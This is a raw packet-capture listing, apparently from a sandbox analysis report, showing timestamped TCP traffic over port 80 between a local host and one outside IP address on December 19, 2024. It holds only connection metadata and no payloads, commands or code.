Dec 19, 2024 08:01:02.207750082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.208610058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.208648920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.208662033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.208676100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.208720922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.209579945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.209624052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.209635973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.209662914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.210488081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.210529089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.210537910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.210556030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.210591078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.211494923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.211600065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.211611986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.211637974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.212446928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.212491035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.212490082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.212507010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.212541103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.213359118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.213388920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.213401079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.213426113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.214371920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.214385986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.214397907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.214416027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.214445114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.215374947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.215396881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.215409040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.215436935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.216321945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.216366053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.216377974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.216391087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.216422081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.217154980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.217219114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.217231035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.217258930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.218175888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.218218088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.218245983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.218251944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.218303919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.219084978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.219166994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.219178915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.219204903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.220015049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.220057011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.220066071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.220077991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.220110893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.220963001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.221003056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.221014977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.221038103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.221954107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.221995115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.222004890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.222018003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.222054005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.231755018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.348706961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.348730087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.348742962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.348795891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.349055052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.349107981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.349108934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.349124908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.349158049 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.350033045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.350094080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.350106955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.350136995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.350986004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.351027012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.351032019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.351046085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.351082087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.351928949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.352014065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.352052927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.386226892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.386260986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.386279106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.386327982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.386642933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.386671066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.386688948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.386697054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.386724949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.387573957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.387658119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.387675047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.387718916 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.388540983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.388556957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.388575077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.388586998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.388612986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.389466047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.389538050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.389554977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.389590025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.390402079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.390455008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.390467882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.390485048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.390515089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.391427994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.391447067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.391465902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.391495943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.392302036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.392333984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.392352104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.392364025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.392401934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.393280983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.393315077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.393332005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.393409014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.394344091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.394390106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.394397974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.394414902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.394455910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.395587921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.395656109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.395672083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.395699024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.396934986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.396962881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.396979094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.396979094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.397020102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.398288012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.398303986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.398322105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.398356915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.399497986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.399539948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.399549961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.399558067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.399595022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.400518894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.400535107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.400553942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.400584936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.401071072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.401087999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.401104927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.401118040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.401138067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.401704073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.401793003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.401809931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.401832104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.402524948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.402540922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.402556896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.402565956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.402597904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.402822018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.402851105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.402867079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.402890921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.403727055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.403754950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.403769970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.403776884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.403806925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.404654980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.404699087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.404715061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.404745102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.405611992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.405658007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.405682087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.405698061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.405745029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.406649113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.406716108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.406733036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.406764030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.407512903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.407562971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.407572985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.407589912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.407625914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.408540964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.408557892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.408577919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.408596992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.409415960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.409442902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.409456015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.409460068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.409495115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.410366058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.410406113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.410420895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.410446882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.411307096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.411355019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.411371946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.411387920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.411425114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.412270069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.412313938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.412329912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.412358046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.413268089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.413284063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.413301945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.413311005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.413341045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.414206982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.414222956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.414241076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.414269924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.466892958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.541296005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.541321993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.541342974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.541372061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.541500092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.541527987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.541538000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.541543961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.541575909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.542448044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.542500973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.542517900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.542541981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.543423891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.543453932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.543469906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.543477058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.543508053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.544363976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.544428110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.544473886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.579755068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.579775095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.579792023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.579835892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.579973936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.580014944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.580071926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.580080032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.580106974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.580744982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.580815077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.580862045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.581116915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.581171989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.581190109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.581217051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.581904888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.581964016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.581975937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.581984043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.582034111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.582515001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.582554102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.582570076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.582608938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.586864948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.586884975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.586900949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.586916924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.586920023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.586932898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.586936951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.586949110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.586967945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.586967945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.586992025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587008953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587012053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.587043047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.587337017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587353945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587369919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587384939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587393999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.587404013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587419987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587426901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.587456942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.587902069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587939024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587954044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.587977886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.588838100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.588880062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.588907003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.588923931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.588962078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.589847088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.589863062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.589881897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.589903116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.594372034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594389915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594408035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594419003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.594424009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594456911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.594511986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594535112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594553947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.594558954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594573021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594588995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.594597101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.594633102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.595242977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.595258951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.595274925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.595294952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.596129894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.596147060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.596178055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.596273899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.596314907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.597076893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.597095013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.597110033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.597141981 CET	49739	80	192.168.2.9	194.87.47.113
